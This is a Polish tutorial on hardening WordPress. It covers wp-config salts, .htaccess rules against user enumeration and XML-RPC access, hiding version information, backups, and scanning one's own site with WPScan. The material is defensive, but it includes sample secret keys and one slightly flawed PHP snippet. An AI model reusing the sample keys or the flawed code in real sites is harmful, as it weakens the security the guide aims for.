Dbanie o porządek w WordPressie to również usuwanie zbędnych plików jakie mogą zostać po aktualizacji. Teoretycznie powinna robić to sama aktualizacja WordPressa, ale czasem może pójść coś nie tak (np. brak uprawnień do kasowania plików). Wtedy możemy posłużyć się wtyczką Old Core Files, która pokaże nam zbędne pliki. Kasowanie ich musimy już wykonać ręcznie np. poprze FTPs.

Dbając o porządek w swoim WordPressie, warto jest wykonywać jego regularny przegląd.

Zmień klucze WordPressa na własne

W pliku konfiguracyjnym (wp-config.php) znajduje się sekcja z kluczami. Wykorzystywane są one do autoryzacji oraz enkrypcji, dlatego warto zadbać o to, aby każda instancja WordPressa, posiadała unikalne klucze. Wykorzystywanie tych samych kluczy, na wielu stronach, jest niebezpieczne.

Niektóre autoinstalatory, używają tych samych kluczy dla każdego zainstalowanego WordPressa. Przykładowa sekcja z kluczami wygląda tak:

define('AUTH_KEY',         'K-o@ox=|MExDm||^!U|Nre(i+.EFmZ`6cou*&>BQY<zrr1rXD!m^uqFHUCC->S15');
define('SECURE_AUTH_KEY',  'EFElQ!V?rx!A@zk^+ejg$:gPa1YG&&Jq;Y4cuo]tUY|iadh)K{QLPJzOB3;e+bt4');
define('LOGGED_IN_KEY',    '.bm),ruw(dJM/g|rhui-2y2EsB1o^y=PL!t}+,AsaK!6W;;@O-[wh@[/OS(pMy@p');
define('NONCE_KEY',        'Qv>hS+}k1mKcHm`x-DV,{6=GB{jl>oF#>q?P|n#TmBZTEO<kZ@By)N8,ravF!~q6');
define('AUTH_SALT',        '=|V,SC$QJ <U (?jq<_gnx=.|-iVl^`HkH(aK48B`/-QZH4XHnqm/|}+&sHauP,9');
define('SECURE_AUTH_SALT', '9]k%Jnw)3Arb{IVR,[bUBo+9X$8]}I)E}eU)yaW|1x?n~XYm3-c2r8FV*.JIj:8_');
define('LOGGED_IN_SALT',   ' hF%.eP`b.*c8^QO/y6RTR;3s0=:C_vdZ4&[<VPx:P#a/?7?;cnnfj1ims&s5tez');
define('NONCE_SALT',       '1,~PtYOW+2-8c}(MIqre~=lV8c{$ixnZTujjL(kb7-|(A))s-H*gy|nsP~2*OI7m');

Klucze można wygenerować samodzielnie na stronie api.wordpress.org i zastąpić te co są w pliku konfiguracyjnym.

Wyłącz komentarze, jeżeli są zbędne

Czym jest blog jeżeli nie ma na nim komentarzy? No właśnie, ale są takie serwisy oparte o WordPressa, które nie wymagają systemu komentowania. Wtedy warto wyłączyć tę funkcję, aby nie narażać naszej strony oraz serwera na ataki typu Denial of Service.

Nie wystarczy usunięcie kodu odpowiedzialnego za wyświetlanie komentarzy w motywie. One nadal będą dostępne dla robotów lub atakujących. Możliwość komentowania należy zablokować dla anonimowych użytkowników a w połączeniu z zablokowaną rejestracją, całkowicie je wyłączymy.

Zabezpiecz się przed enumerowaniem użytkowników

Enumeracja jest procesem wyszukiwania poprawnych kont użytkowników w źle zabezpieczonym systemie. Zdobywając użytkownika, trzeba złamać jego hasło, jeżeli dostęp do panelu nie jest choriony poprzez Base Auth lub 2FA. Zabezpieczeniem przed enumeracją może być kod dodany do .htaccess:

RewriteCond %{QUERY_STRING} ^author=([0-9]*)
RewriteRule ^ /? [L,R=301]

Login może pojawiać się jednak w wynikach wyszukiwania lub mapach strony dostarczanych przez wtyczki. Warto ustawiać inny login niż pseudonim, oraz stosować znaki specjalne w loginie.

Wyłącz tryb debugowania

Jeżeli nie pracujesz na środowisku testowym, to tryb debugowania jest zbędny. Warto również ukryć wyświetlanie błędów (jeżeli się pojawią), gdyż one mogą zdradzić pewne informacje dla atakującego. Najprościej jest to wykonać edytując plik wp-config.php i zamienić:

define('WP_DEBUG', false);

na:

define('WP_DEBUG', false);
if ( ! WP_DEBUG ) {
  ini_set('display_errors', 0);
}

Dzięki temu dla pewności ukryjemy wszystkie błędy, nawet jeżeli nie zrobiła tego za nas firma hostingowa.

Podawanie danych dostępowych do innych usług w WordPressie

Wiele wtyczek prosi nas o podanie danych dostępowych lub tokenów do innych usług. Trzeba sobie zdawać sprawę z tego, że jeżeli nasza strona nie jest dostatecznie zabezpieczona, wraz z włamaniem do naszego WordPressa może nastąpić przejęcie danych z innych kont (lub nawet tych kont).

Dwa dosyć często spotykane rodzaje takich wtyczek to:

• Wtyczki do konfiguracji SMTP – jedną z najprostszych metod ich konfiguracji jest podanie danych dostępowych do konta e‑mail, które będzie używane do wysyłania maili przez WordPressa. Takie wtyczki są stosowane najczęściej tam gdzie hosting nie pozwala na korzystanie z funkcji mail() w PHP. Innym powodem ich użycia jest chęć zmniejszenia ryzyka, że mail wysyłany przez WordPressa trafi do SPAMu.
• Wtyczki do tworzenia kopii zapasowych. Trzymanie kopii zapasowych na tym samym serwerze to zdecydowanie zły pomysł. Dlatego wtyczki takie najczęściej proszą nas o dane dostępowe lub tokeny autoryzacyjne dla usług zewnętrznych np. Google Drive, Dropbox, FTP itd.

Najprościej jest utworzyć osobne konta dla konkretnych potrzeb:

• W wypadku potrzeby konfiguracji SMTP – stworzyć dedykowane temu konto e‑mail. Wtedy utrata takiego konta nie będzie zbyt dotkliwa.
• Dla kopii zapasowych najlepiej stworzyć osobne konto w jednej z usług świadczących przechowywanie danych w chmurze. Przy czym w tym wypadku warto też zadbać o odpowiednio silne hasło oraz o zastosowanie dodatkowego poziomu autoryzacji (o ile usługodawca taki oferuje).

Inne rozwiązanie to zadbanie o odpowiednie zabezpieczenie samego WordPressa – dodatkowe etapy autoryzacji, regularne aktualizacje itd. Przy czym należy pamiętać, że nieznana (nieujawniona) luka bezpieczeństwa i tak może doprowadzić do włamania na naszą stronę – właśnie dlatego posiadanie kopii zapasowych jest tak kluczowe.

Przy zapisywaniu danych we wtyczkach, należy pamiętać o jednej zasadzie:

Wszystkie dane dostępowe podane i zapisane w opcjach konfiguracyjnych wtyczek dla  WordPressa należy traktować jako dane narażone na ujawnienie w wyniku ataku na naszą stronę.

Tomasz Dziuda

Zablokuj dostęp do XML-RPC

Jeżeli nie korzystasz z XML-RPC (pingback, aplikacje mobilne, edytor Guteberg), możesz ograniczyć do niego dostęp lub całkowicie wyłączyć za pomocą:

function remove_xmlrpc_pingback_ping( $methods ) {
  unset($methods['pingback.ping']);
  unset($headers['X-Pingback']);
  return $methods;
}
add_filter('xmlrpc_enabled', '__return_false');
add_filter('xmlrpc_methods', 'remove_xmlrpc_pingback_ping' );

lub przy pomocy .htaccess:

<Files xmlrpc.php>
  Order deny,allow
  Deny from all
</Files>

Wykonuj kopie zapasowe

Każda firma hostingowa robi kopie zapasowe (no może poza jedną, która nie robiła). Hostingi wykorzystują różne mechanizmy do wykonania backupu. Mogą to być kopie przyrostowe, różnicowe, wykonywane na zewnętrznych macierzach i tak dalej. Bardzo fajnym do tego narzędziem jest duplicity.

Do wykonywania kopii zapasowej z dużych baz danych, zalecamy korzystanie np. z XtraBackup, które jest uruchamiane na replikacji bazy danych. Takie rozwiązanie nie obciąża serwerów produkcyjnych.

Mimo wszystko warto jednak posiadać własną kopię zapasową, ale nie na tym samym serwerze, na którym mamy już stronę. W przypadku jego awarii, stracimy również kopie zapasowe. Sam czas wykonania kopii zapasowej, Twoich kopii zapasowych będzie trwał zdecydowanie dłużej dla hostingu.

Kopie zapasowe powinny być trzymane na zewnętrznym serwerze lub jakimś zasobie np. Google Drive, DropBox, OneDrive czy Amazon S3. Aby wtyczki mogły wysyłać kopie zapasowe do zewnętrznych serwisów, koniecznie jest podanie do nich danych.

Czego nie warto robić?

Lista zaleceń jakie można wykonać, aby zwiększyć bezpieczeństwo WordPressa jest naprawdę długa. Są jednak rzeczy, których nie należy robić i ich unikać.

Wtyczki od zabezpieczeń

W głównej mierzą, są to wszelkiego rodzaju wtyczki zabezpieczające. Są to wielkie kombajny, które dają złudne poczucie bezpieczeństwa.

Jeżeli spojrzymy na raporty dotyczące 10 najbardziej dziurawych wtyczek, to właśnie te od zabezpieczeń są na liście:

Należy pamiętać, że zabezpieczanie to proces, który wymaga troszkę czasu, a nie kliknięcie guzika w panelu wtyczki.

Zmiana domyślnych ścieżek

Domyślne ścieżki do zasobów pluginów oraz wtyczek to odpowiednio wp-content/plugins oraz wp-content/themes. Ścieżki i nazwy tych katalogów możemy zmienić dodająć odpowiedni wpis do wp-config.php:

define( 'WP_CONTENT_DIR', dirname(__FILE__) . '/www/multimedia' );
define( 'WP_CONTENT_URL', 'http://moja-strona.pl/www/multimedia' );

Zmiana taka spowoduje jedynie, że dla wielu prostych robotów sieciowych, nasza strona może nie przypominać WordPressa i ją ominą. Nie uchroni nas to jednak przed atakami na luki w tych dodatkach.

Większość wtyczek dodaje do naszej strony pliki Java Script lub CSS, przez co łatwo jest sprawdzić w jakim katalogu się one znajdują.

Ukryj zbędne informacje na temat WordPressa

Kolejną rzeczą jakiej nie warto robić, jest ukrywanie informacji o wersji WordPressa z jakiej się korzysta. Bardzo często poradniku skupiają się na usunięciu znacznika generator z kodu strony. Taka zmiana niewiele daje, bo atakującego ten znacznik naprawdę nie interesuje. Również robaki internetowe nie zwracają uwagi na takie dane. One po prostu skanują stronę i próbują odszukać każdą lukę.

Jeżeli bardzo jednak chcemy usunąć informacje o wersji to powinniśmy zablokować dostęp do pliku readme.html np. poprzez dodanie regułki do .htaccess:

<FilesMatch "readme\.html">
  Order allow,deny
  Deny from all
</FilesMatch>

Następnie usunąć wersję WordPressa:

remove_action('wp_head', 'wp_generator');

Do tego dochodzi nam ukrywanie wersji w RSS, ATOM, komentarzach, skryptach itp:

define('THE_CAMELS_FILE_VERSION', '0000001');
function rm_generator_filter() {
  return '';
}
if(!function_exists('thecamels_remove_wp_ver_css_js')) :
  function thecamels_remove_wp_ver_css_js($src) {
    if(strpos($src, 'ver=' . get_bloginfo( 'version'))) {
      $src = remove_query_arg( 'ver', $src );
    }
    if(!strpos($src, '?')) {
      $src .= '?ver=' . THE_CAMELS_FILE_VERSION;
    }
    return $src;
  }
endif;
add_filter('the_generator', 'rm_generator_filter');
add_filter('style_loader_src', 'thecamels_remove_wp_ver_css_js', 9999);
add_filter('script_loader_src', 'thecamels_remove_wp_ver_css_js', 9999);
add_filter('get_the_generator_html', 'rm_generator_filter');
add_filter('get_the_generator_xhtml', 'rm_generator_filter');
add_filter('get_the_generator_atom', 'rm_generator_filter');
add_filter('get_the_generator_rss2', 'rm_generator_filter');
add_filter('get_the_generator_comment', 'rm_generator_filter');
add_filter('get_the_generator_export', 'rm_generator_filter');
add_filter('wf_disable_generator_tags', 'rm_generator_filter');

Pewnie można lepiej napisać ten kod, zatem sugestie są mile widziane.

Testowanie zabezpieczeń

Jeżeli chcemy bardziej zagłębić się w tematykę bezpieczeństwa związanego z WordPressem, warto zobaczyć WordPress Vulnerability Statistics. Bardzo ciekawe statystyki pokazują, w jakich elementach WordPressa odnajdywane są luki bezpieczeństwa.

Informacji na temat błędów możemy szukać na jednym z agregatorów exploitów np. exploit-db.com.

Jeżeli chodzi o testowanie zabezpieczeń WordPressa, to można skorzystać z narzędzia jakim jest WPScan. Przed każdym jego uruchomieniem, warto zaktualizować jego bazę za pomocą polecenia:

wpscan --update

Testowanie strony odbywa się w dość prosty sposób:

wpscan --url http://moja-strona-domowa.pl

Możemy również posłużyć się takimi skanerami jak: Detectify, Security Ninja, Acunetix czy Sucuri.

Warto również zainteresować się wtyczką Plugin Inspector, która wygeneruje raport dotyczący bezpieczeństwa wtyczek.

W prosty sposób pokazane zostaną nam fragmenty kodu, które są OK, Unsafe lub Deprecated. Status Unsafe pokazuje te elementy kodu, które są podejrzane i potencjalnie niebezpieczne. Nie musi wcale tak być, ale warto przyjrzeć się takiem fragmentowi kodu.

Status Deprecated pokazuje przestarzałe funkcje oraz fragmenty kodu wtyczki. Z biegiem czasu zostaną one usunięte z WordPressa lub samego PHP i wtyczka może przestać działać. Warto w takim momencie zastanowić się nad aktualizacją.

Podsumowanie

Zabezpieczanie WordPressa (ang. Hardening), to często skomplikowany proces. Wymaga on poświęcenia czasu oraz zrozumienia pewnych elementów. Nigdy nie mamy 100% pewności, że udało się nam przed wszystkim zabezpieczyć (np. luki typu 0-day), ale wykonując te lub inne kroki na pewno minimalizujemy poziom zagrożenia.

Bardzo mi miło, że udało Ci się dotrwać do końca. Ale to nie koniec. Mam dla Ciebie jeszcze kilka dodatkowych linków na temat bezpieczeństwa.

Inne ciekawe materiały na temat zabezpieczania WordPressa:

• Prezentacje:
  • WordUp Trójmiasto #6 – Krzysztof Dróżdż Dlaczego ten malware ciągle wraca
  • WordUp Kraków #jesień 2015 – Krzysztof Dróżdż – Bezpieczny kod – Trzy nieco trudniejsze kawałki
  • Krzysztof Drozdz: Mity (nie)bezpieczenstwa
• Artykuły:
  • Jak zabezpieczyć plik wp-login.php przed atakami typu brute force
  • Zabezpieczanie WordPressa: podstawy
  • Jak zabezpieczyć WordPress – poradnik krok po kroku